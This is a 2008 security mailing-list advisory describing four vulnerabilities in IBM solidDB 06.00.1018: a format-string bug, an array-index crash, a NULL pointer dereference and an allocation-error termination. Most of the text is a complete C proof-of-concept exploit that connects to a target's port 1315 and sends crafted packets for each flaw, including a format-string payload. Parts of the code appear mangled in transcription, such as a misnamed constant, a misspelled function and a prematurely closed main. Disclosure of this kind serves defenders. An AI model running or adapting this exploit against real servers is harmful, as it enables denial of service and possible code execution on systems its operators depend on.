

[NEWS] SolidDB Multiple Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-03/msg00073.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 31 Mar 2008 12:55:48 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

SolidDB Multiple Vulnerabilities

SUMMARY

"

<<http://www.solidtech.com/en/products/relationaldatabasemanagementsoftware/embed.asp>> solidDB 6 is a relational database designed for fast, always-on access to data under high throughput conditions, to satisfy the real-time demands of communications platforms and applications. It includes both in-memory and on-disk engines, accessed by a single SQL interface." Multiple vulnerabilities have been found in SolidDB, these vulnerabilities allow a remote attacker to crash the server, as well as cause it to execute arbitrary code.

DETAILS

Vulnerable Systems:

* IBM solidDB version 06.00.1018

Format string in logging function

The logging function used for keeping tracks of the various errors and operations (like wrong logins) is affected by a format string vulnerability exploitable for example using a malformed user or peer name.

Crash caused by arbitrary array index

A 32 bit number provided by the client is used on the server as an index for reading some values in an array, a too big number can be used to crash

[NEWS] SolidDB Multiple Vulnerabilities

the server due to the access to invalid memory.

NULL pointer

A NULL pointer vulnerability can be exploited through the sending of a specific type of packet.

Server termination through allocation error

A malformed packet can be used to terminate the server with the error message "Out of central memory" caused by the impossibility of allocating a certain amount of memory.

Exploit:

```
/*
```

by Luigi Auriemma – <http://aluigi.org/poc/soliduro.zip>

```
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
```

```
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
```

```
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
```

```
#define ONESEC 1
#endif
```

```
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
```

```
#define VER "0.1"
#define PORT 1315
#define BUFSZ 0xffff
```

[NEWS] SolidDB Multiple Vulnerabilities

```
int solid_send(int sd, int type1, int type2, u8 *data, int len);
int putcc(u8 *data, int chr, int len);
int putsn(u8 *data, u8 *str);
int putmm(u8 *data, u8 *str, int len);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
```

```
int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd,
        len,
        type1,
        type2,
        attack;
    u16 port = PORT;
    u8 *buff,
        *p;

#ifdef WIN32
    WSADATA wsadata;
    WSASStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "solidDB <= 06.00.1018 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@xxxxxxxxxxxxxx\n"
        "web: aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attacks:\n"
            " 1 = format string in logging function\n"
            " 2 = crash caused by arbitrary array index\n"
            " 3 = NULL pointer\n"
            " 4 = server termination through allocation error\n"
            "\n", argv[0], port);
        exit(1);
    }
}
```

[NEWS] SolidDB Multiple Vulnerabilities

```
attack = atoi(argv[1]);

if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));

buff = malloc(BUFFSZ);
if(!buff) std_err();

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

p = buff;
if(attack == 1) {
type1 = 1;
type2 = 0xd;

*p++ = 0;
*p++ = 0;
*p++ = 0;
p += putxx(p, 0x01020304, 32);
p += putxx(p, 6, 32);
p += putxx(p, 1, 32);
p += putsn(p, "%n%n%n%n%s%s%s%n");
p += putsn(p, "PASSWORD"); // hashed
p += putxx(p, 2002, 32);
p += putsn(p, "myhost");
p += putxx(p, 4009, 32); *p++ = 1;
p += putxx(p, 4008, 32); *p++ = 0;
p += putxx(p, 4007, 32); *p++ = 1;
p += putxx(p, 4005, 32); *p++ = 1;
p += putxx(p, 4004, 32); *p++ = 1;
p += putxx(p, 4, 32);
p += putxx(p, 268, 32);
p += putxx(p, 4003, 32); *p++ = 0;
p += putxx(p, 4002, 32); *p++ = 1;
p += putxx(p, 0, 32);

} else if(attack == 2) {
type1 = 3;
type2 = 2;

*p++ = 0;
*p++ = 0;
*p++ = 0;
```

[NEWS] SolidDB Multiple Vulnerabilities

```
p += putxx(p, 0x01020304, 32); // index number

} else if(attack == 3) {
type1 = 0;
type2 = 0x11;

*p++ = 0;
*p++ = 0;
*p++ = 0;

} else if(attack == 4) {
type1 = 0;
type2 = 0x12;

*p++ = 0;
*p++ = 0;
*p++ = 0;
p += putxx(p, 0, 32);
p += putxx(p, 0x80000, 32);
p += putxx(p, 0x7fffffff, 32);

} else {
printf("\nError: wrong attack number\n");
exit(1);
}

solid_send(sd, type1, type2, buff, p - buff);
while(!timeout(sd, 3)) {
len = recv(sd, buff, BUFSZ, 0);
if(len < 0) break;
printf("- received %d bytes\n", len);
}

close(sd);
printf("- done\n");
return(0);
}

int solid_send(int sd, int type1, int type2, u8 *data, int len) {
u8 hdr[8],
*p;

p = hdr;
p += putxx(p, 0x02, 8);
p += putxx(p, 0x00, 8);
p += putxx(p, 0x00, 8);
p += putxx(p, (type1 >> 8) | (type1 << 8), 16); // swapped 0 - 12
p += putxx(p, (type2 >> 8) | (type2 << 8), 16); // swapped 0 - 26
p += putxx(p, 0x01, 8);
```

[NEWS] SolidDB Multiple Vulnerabilities

```
printf("- send %d bytes\n", 8 + len);
send(sd, hdr, 8, 0);
send(sd, data, len, 0);
return(0);
}
```

```
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
```

```
int putsn(u8 *data, u8 *str) {
int len;
```

```
len = strlen(str);
putxx(data, len, 32);
memcpy(data + 4, str, len);
return(4 + len);
}
```

```
int putmm(u8 *data, u8 *str, int len) {
memcpy(data, str, len);
return(len);
}
```

```
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;

bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
```

```
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
```

[NEWS] SolidDB Multiple Vulnerabilities

```
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
```

```
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
```

```
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:aluigi@xxxxxxxxxxxxx>> Luigi Auriemma.

The original article can be found at:

<<http://aluigi.altervista.org/adv/soliduro-adv.txt>>

<http://aluigi.altervista.org/adv/soliduro-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[NEWS] SolidDB Multiple Vulnerabilities

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.